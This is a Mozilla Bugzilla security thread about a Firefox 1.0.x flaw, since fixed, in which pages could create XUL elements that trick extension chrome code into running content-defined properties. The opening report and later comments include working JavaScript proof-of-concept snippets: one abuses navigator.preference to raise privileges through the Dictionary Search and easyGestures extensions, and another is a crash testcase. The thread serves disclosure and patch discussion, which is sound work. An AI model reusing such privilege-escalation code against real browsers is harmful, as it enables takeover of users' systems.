290324 - XULElement created by content can make chrome access non-DOM JS properties

Status: RESOLVED FIXED

(Core :: DOM: Core & HTML, defect)

Description

[moz_bug_r_a4]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050319
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3

It is potentially vulnerable to use |localName| property in order to determine
the sort of a Node. For example:

In Chrome JS:

  if (node.localName.toUpperCase() == "TEXTAREA") {
    str = node.value;
  }

In web page:

  var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
  var theNode = document.createElementNS(xulns, "TEXTAREA");
  theNode.value = obj;

theNode.localName is "TEXTAREA", and theNode doesn't have native |value|
property, thus, Chrome JS will access the content-defined |value| property.

Thanks to the fix (bug 289074 comment 79), an attacker cannot use neither eval
nor Script.exec to exploit, but the problem represented in bug 289074 comment 23
is still alive. I'm not sure whether there is any exploitable code in Firefox or
not, however, at least two extensions (Dictionary Search and easyGestures) are
exploitable.

Vulnerable code:
from dictionarySearchGetSelectedText() in dictionarysearchOverlay.js

  var node = document.popupNode;
  var selection = "";
  var nodeLocalName = node.localName.toUpperCase();
  if ((nodeLocalName == "TEXTAREA") || (nodeLocalName == "INPUT" && node.type ==
"text")) {
      selection = node.value.substring(node.selectionStart, node.selectionEnd);
  }

Exploit:
  var prefName = "capability.policy.default.Navigator.preferenceinternal.set";
  var prefValue = "allAccess"; // default value: "UniversalPreferencesWrite"

  navigator.substring = navigator.preference;

  var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
  var node = document.createElementNS(xulns, "TEXTAREA");
  node.selectionStart = prefName;
  node.selectionEnd = prefValue;
  node.value = navigator;


I have confirmed that the following testcase works in:
Firefox/1.0.3 2005-04-14-07 + Dictionary Search version 0.8
Firefox/1.0.3 2005-04-14-07 + easyGestures version 3.0


Reproducible: Always

Steps to Reproduce:

Comment 1

[moz_bug_r_a4]

Attachment: testcase

this overwrites the proxies settings.

You need to install Dictionary Search or easyGestures.
http://dictionarysearch.mozdev.org/
http://easygestures.mozdev.org/

Comment 2

[Brendan Eich [:brendan]]

InstallTrigger.install bug is being patched for 1.0.3, it was old JS API based
code that didn't do property instanceof checks on its native |this| parameter.

navigator.preference is still a problem, and there may be other such methods
(tho few in the content DOM?).

/be

Comment 3

[Brendan Eich [:brendan]]

I have an idea for a general solution.  More soon.

/be

Comment 4

[Brendan Eich [:brendan]]

Attachment: naive patch, breaks chrome's ability to call content *native* methods with privilege

For testing.  Diff -w next.

/be

Comment 5

[Brendan Eich [:brendan]]

Attachment: diff -w version of last patch

Comment 6

[Brendan Eich [:brendan]]

Attachment: less naive patch, defeats attack in this bug, but probably too slow

This is for applying.  Diff -w version next for reviewing.  The idea is right,
but the implementation hoops are many and the cost is probably too high. 
Ideas?

/be

Comment 7

[Brendan Eich [:brendan]]

Attachment: diff -w version of last patch

Comment 8

[Brendan Eich [:brendan]]

Why does nsScriptSecurityManager.cpp use nsIPrincipal::Equals to test whether
something is the system principal?  I used a pointer comparison with
mSystemPrincipal in one place in my patch, then used Equals later (silly me). 
Can't all these tests use pointer equality with the service's member?

/be

Comment 9

[Boris Zbarsky [:bzbarsky]]

> Can't all these tests use pointer equality with the service's member?

Yes, given that we have:

100 nsSystemPrincipal::Equals(nsIPrincipal *other, PRBool *result)
101 {
102     *result = (other == this);
103     return NS_OK;
104 }

So pointer compares are just as good (and save us a virtual call).  Note the
asymmetry, btw -- calling |Equals(mSystemPrincipal)| on some random principal
(as your patch does) will do a lot more work than this...  So just stick to
pointer compares.  ;)

Past that, which part of that patch gives you perf worries?  The case *result
comes out to be chrome so we have to jump though a few more hoops?

Comment 10

[Brendan Eich [:brendan]]

Attachment: alterna-patch: downgrades content-defined methods called from chrome!

More love to downgrade thunked getters and setters (see XXXbe2 comment) needed.
 Thoughts on this approach?  It's sort of what jst and sicking were getting at,
in more code than I would like.

Note once again separate wrappers with a mirror pointer from chrome to content,
for each wrapped native, would save us the need to thunk -- although we would
still need to switch contexts when following the mirror pointer on set.

/be

Comment 11

[Brendan Eich [:brendan]]

Attachment: diff -w version of last patch

I removed the code in GetPrincipalsAndFrame that checked for a non-system
native frame on top of system code.  The method thunk created only when content
stores a native method reference in a content wrapper relieves us of the need
for this more costly check in the previous patch, which hits all chrome
callers.

/be

Comment 12

[Brendan Eich [:brendan]]

I don't want to hold up 1.0.3 for this, but we need to keep an eye on it.

/be

Comment 13

[georgi - hopefully not receiving bugspam]

brendan,

i am not familiar with javascript internals and don't understand your patch, but
seems you are dealing mainly with xpconnect.

is the following approach possible:
every javascript object has a "flag" if the object is created by chrome or
content  (or modified by content) and chrome refuse to execute any method on an
object created by content?

Comment 14

[Brendan Eich [:brendan]]

(In reply to comment #13)
> brendan,
> 
> i am not familiar with javascript internals and don't understand your patch,
> but seems you are dealing mainly with xpconnect.

The issue here arises precisely because our apps and their extensions must be
able to call DOM methods on content DOM objects.

> is the following approach possible:
> every javascript object has a "flag" if the object is created by chrome or
> content  (or modified by content) and chrome refuse to execute any method on
> an object created by content?

Does "created by content" include all the DOM objects created when loading
content?  If so, then this would break almost all apps and extensions.  If not,
then please define it better.

What we are doing instead of such a "data tainting" scheme is bypassing any
content-defined properties that might "shadow" pre-defined DOM methods and
attributes when chrome accesses content XPConnected objects.  The patch in this
bug that I'm about to attach goes further, and if there is no such predefined
method or attribute, any content-defined method, getter or setter called from
chrome will be run in the content context, with content privileges.

/be

Comment 15

[Brendan Eich [:brendan]]

Attachment: cleaned up alterna-patch, please help test

Comment 16

[Brendan Eich [:brendan]]

Attachment: diff -w version of last patch

Diff -w for slightly easier review.

/be

Comment 17

[georgi - hopefully not receiving bugspam]

(In reply to comment #14)

my idea is that though the html "<a href=..." makes a visible to chrome JS
object, this is not a luser created JS object.

while this one is a luser created JS object:

m=new Object();
m.value="value";
m.__defineSetter__("value",new Function("y","try {alert('Who called me with
argument='+y+'
other='+arguments.callee.caller.__parent__);show_props(arguments.callee.caller.__parent__);}
catch(e) {alert(e);}"));
try {v=(sidebar.getInterfaces(m));} catch(e) {alert(e);}
alert(m.value);


imho chrome better not execute luser JS instead of trying to sandbox it.

Comment 18

[Brendan Eich [:brendan]]

(In reply to comment #17)

> imho chrome better not execute luser JS instead of trying to sandbox it.

The problem is that gmail, maps.google.com, etc. are great uses of "user" (not
luser) JS/HTML (DHTML) and we don't necessarily want to break any single use
they make of JS to extend or customize the DOM.  So we are sandboxing for now.

/be

Comment 19

[Brendan Eich [:brendan]]

For a simpler and more fundamental sandboxing approach, see bug 281988.  As it
stands, though, it prevents chrome from setting its own overrides on content. 
We know that breaks too much of the platform, so the idea I proposed is to
mirror sets from chrome to content wrappers.

The split-wrappers/chrome-mirrors-to-content still might break DHTML apps that
use "user" JS to extend the DOM, and want chrome to see the non-standard
properties for some reason.  My thinking is to work on 281988 for
Mozilla-the-platform 1.8 (Firefox 1.1).  This bug's patch may not be needed.

/be

Comment 20

[Brendan Eich [:brendan]]

Attachment: patch with fix to clear JSFUN_BOUND_METHOD from thunk flags

Updated fix, including fix from bug 290777.

/be

Comment 21

[Brendan Eich [:brendan]]

Attachment: diff -w version of last patch

Comment 22

[Daniel Veditz [:dveditz]]

Would this be appropriate for future branch releases? nominating.

Comment 23

[Daniel Veditz [:dveditz]]

blocking branches

Comment 24

[georgi - hopefully not receiving bugspam]

brendan, because of Bug 291314 more kludging seems needed.

why not sacrifice some clock cycles and stop chrome calling content js if possible?

Comment 25

[Brendan Eich [:brendan]]

Georgi: save it, you already read what I wrote in comment 18.  Firefox and its
extensions are all built around chrome calling content DOM methods.

I really do not care about chrome calling Java via LiveConnect, and I would
gladly break that even by accident.  But contrary to your wishes, we are not
going to break the general class of content extensions called DHTML apps (any
more than we have, and less than we did in 1.0.3 in the case of bug 290777) just
because you think there's no way to sandbox executable content when handled from
chrome script.

Sandboxing executable content is the whole purpose of caps code, we rely on it
every day.  Bugs in it and the DOM security code (and in XPConnect, which the
DOM uses intimately) need to be fixed.  That's all.

Over the years, Java has had security holes in its applet model.  The solution
was never "break applets" or "turn off applet scripting" or "disable phone home
altogether".  If applets were hopelessly flawed, we would not support them (and
note that they're must less useful and crucial than chrome calling DHTML content
is for us, today).  The same reasoning about bugs vs. unfixable design flaws
applies to our virtual-machine-based platform model.

/be

Comment 26

[Brendan Eich [:brendan]]

> note that they're must less useful and crucial than chrome calling DHTML content

s/must/much

/be

Comment 27

[Daniel Veditz [:dveditz]]

(In reply to comment #25)
> I really do not care about chrome calling Java via LiveConnect, and I would
> gladly break that even by accident.

The problem in bug 291314 is not chrome calling Java, but *content* references
to Java getting called by chrome with chrome privileges. I'll need to try with
this patch applied.

Comment 28

[georgi - hopefully not receiving bugspam]

brendan,

i am not proposing to break dhtml. but you don't seem consistent in your
arguments, please answer both questions below:

1. luser javascript wants to redefine "toLowerCase()" or a getter/setter on a
DOM js object say "<a>". chrome does not seem to care and does not execute the
lusers's javascript.
why?

2. luser javascript wants to redefine a getter/setter/method on non-DOM js
object - say an argument to sidebar.* chrome executes luser's javascript.
why?

obviously the flame is about (2) and it will not break any dhtml applications or
sanely written extensions.

Comment 29

[Brendan Eich [:brendan]]

Georgi, first it seems to me you should be consistent, or just correct, in
laying blame.  Java called from content is not a chrome calling content exploit
(I didn't look at the bug you cited earlier).  I am not flaming you, but you are
a trusted security expert, and your comments take time to address, so being
accurate and not tilting at windmills count a lot with me.

Second, in reply to your comment 28:

> 1. luser javascript wants to redefine "toLowerCase()" or a getter/setter on
> a DOM js object say "<a>". chrome does not seem to care and does not execute
> the lusers's javascript.  why?

Presumably you are testing 1.0.3, but I am not sure which method you are calling
(getter you are calling via a get, etc.).  Can you say exactly?

For 1.0.3, we changed xpconnect so that all accesses from chrome on a content
object, where xpconnect knows about the id'd property via its interface info
(which comes from things like DOM interfaces, XBL declarations, and successful
QueryInterface calls on JS-implemented objects), retrieve only the xpconnected
data or method, never a content-defined override.

This is not going to break the DHTML apps and toolkits out there.  As you and
many others have noted, it is necessary for secure sandboxing of content whose
true DOM chrome needs to access and update.

> 2. luser javascript wants to redefine a getter/setter/method on non-DOM js
> object - say an argument to sidebar.* chrome executes luser's javascript.
> why?

Because we have supported it, mainly.  We don't know what valid uses content out
there makes of this ability, and I don't want to find out the hard way that a
change for 1.0.x breaks Yahoo mail, etc. (see bug 290777).

It's not a security hole so long as the user-defined function runs (as it does
and always has) with its content principals.  It could be a hole if a native
method such as eval is used, and we've had holes there (navigator.preference,
too).  We will fix the content native method stuffed in chrome-accessed property
problem in a systematic way for the trunk.  For 1.0.x we have patched it case by
case.

> obviously the flame is about (2) and it will not break any dhtml applications
> or sanely written extensions.

How do you know that?

Also, even if true, fixing this at the JS engine level will impose costs on all
JS code paths.  We want to avoid that if possible.  All this adds up to taking a
minimal approach in the short run for the 1.0.x branch.

/be

Comment 30

[georgi - hopefully not receiving bugspam]

i don't like it luser's javascript to influence chrome codepath.

since obviously you can "donwgrade" the security context, is it possible just to
throw a security error when you detect luser's javascript in chrome?

but please don't throw the exception this way:

throw {toString: window.alert.call}

Comment 31

[georgi - hopefully not receiving bugspam]

Attachment: don't throw it this way

don't throw it this way

Comment 32

[Brendan Eich [:brendan]]

This needs more time, and a new approach.

/be

Comment 33

[Daniel Veditz [:dveditz]]

(In reply to comment #30)
> but please don't throw the exception this way:
> throw {toString: window.alert.call}
> (attachment 181886 [details])

On the branch the above crashes in nsScriptSecurityManager::GetScriptPrincipal
(http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=6157147)

On the trunk javascript appears to get stuck in infinite recursion, blows the
stack:
http://talkback-public.mozilla.org/talkback/fastfind.jsp?search=2&type=iid&id=6156893

That testcase ought to be spun into its own bug.

Comment 34

[georgi - hopefully not receiving bugspam]

filed bug 295666 for the throw crash.

Comment 35

[Brendan Eich [:brendan]]

I'm going to give this to dveditz to consider and drive to a good conclusion on
the branches.  The trunk is fixed via 281988 and its followup bugs.

/be

Comment 36

[Jay Patel [:jay]]

Not making the 1.0.5 train, look into this for next Aviary release.

Comment 37

[moz_bug_r_a4]

Since this problem was fixed by XPCNativeWrapper on the trunk (Bug 281988),
unsafe extensions need to update for using XPCNativeWrapper (implicit or
explicit). thus, unsafe extensions are still unsafe, until the extension
authors release updates.

And, this bug allows an attacker to run arbitrary code by using 
|window.setTimeout| instead of |navigator.preference|.

Comment 38

[moz_bug_r_a4]

Attachment: Privilege escalation with "easyGestures" or "Dictionary Search"

I've confirmed that this works on:
Firefox 2005-06-22-07-trunk
Firefox 2005-06-22-04-aviary
easyGestures 3.0
Dictionary Search 0.9.2

You need to install "easyGestures" or "Dictionary Search".
http://easygestures.mozdev.org/
http://dictionarysearch.mozdev.org/

Comment 39

[Brendan Eich [:brendan]]

(In reply to comment #37)
> Since this problem was fixed by XPCNativeWrapper on the trunk (Bug 281988),
> unsafe extensions need to update for using XPCNativeWrapper (implicit or
> explicit). thus, unsafe extensions are still unsafe, until the extension
> authors release updates.

We intend to change the default to xpcnativewrappers=yes for all extensions by
the time we ship 1.1.

> And, this bug allows an attacker to run arbitrary code by using 
> |window.setTimeout| instead of |navigator.preference|.

Yes, this is a bad problem without wrapper automation.

/be

Comment 40

[Tim Riley [:timr]]

Need a real patch given recent info.  Minusing for 1.0.8 for now.

Comment 41

[georgi - hopefully not receiving bugspam]

(In reply to comment #40)
> Need a real patch given recent info.  Minusing for 1.0.8 for now.
> 

need beer and C+ chix. agree with "Minusing for 1.0.8 for now"

Comment 42

[Daniel Veditz [:dveditz]]

This issue is fixed in Gecko 1.8 and later, the aviary branch is no longer supported.